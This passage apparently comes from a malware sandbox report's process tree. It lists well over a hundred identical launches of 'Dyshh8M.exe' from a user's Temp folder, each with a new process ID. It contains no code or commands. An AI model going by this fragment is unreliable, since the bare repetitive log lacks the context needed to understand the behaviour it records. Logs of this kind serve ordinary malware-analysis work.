        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5548
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5556
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5564
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5572
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5580
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5588
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5596
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5604
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5612
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5620
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5628
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5636
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5644
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5652
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5660
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5668
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5676
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5684
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5692
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5700
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5708
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5716
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5724
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5732
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5740
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5748
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5756
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5764
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5772
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5780
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5788
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5796
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5804
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5812
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5820
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5828
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5836
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5844
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5852
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5860
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5868
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5876
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5884
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5892
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5900
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5908
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5916
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5924
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5932
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5940
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5948
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5956
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5964
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5972
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5980
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5988
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5996
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6004
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6012
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6020
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6028
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6036
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6044
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6052
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6060
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6068
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6076
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6084
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6092
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6100
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6108
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6116
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6124
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6132
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6140
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6152
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6160
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6168
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6176
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6184
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6192
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6200
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6208
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6216
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6224
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6232
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6240
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6248
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6256
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6264
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6272
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6280
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6288
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6296
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6304
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6312
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6320
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6328
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6336
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6344
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6352
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6360
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6372
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6380
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6388
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6396
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6404
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6412
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6420
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6428
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6436
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6444
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6456
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6464
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6472
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6480
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6488
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6496
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6504
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6512
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6520
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6528
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6536
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6544
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6552
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6560
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6568
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6576
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6584
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6592
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6600
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6608
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6616
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6624
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6632
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6640
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6648
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6656
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6664
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6672
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6680
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6688
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6696
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6704
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6712
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6720
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6728
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6736
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6744
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6752
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6760
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6768
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6776
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6784
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:6792
        
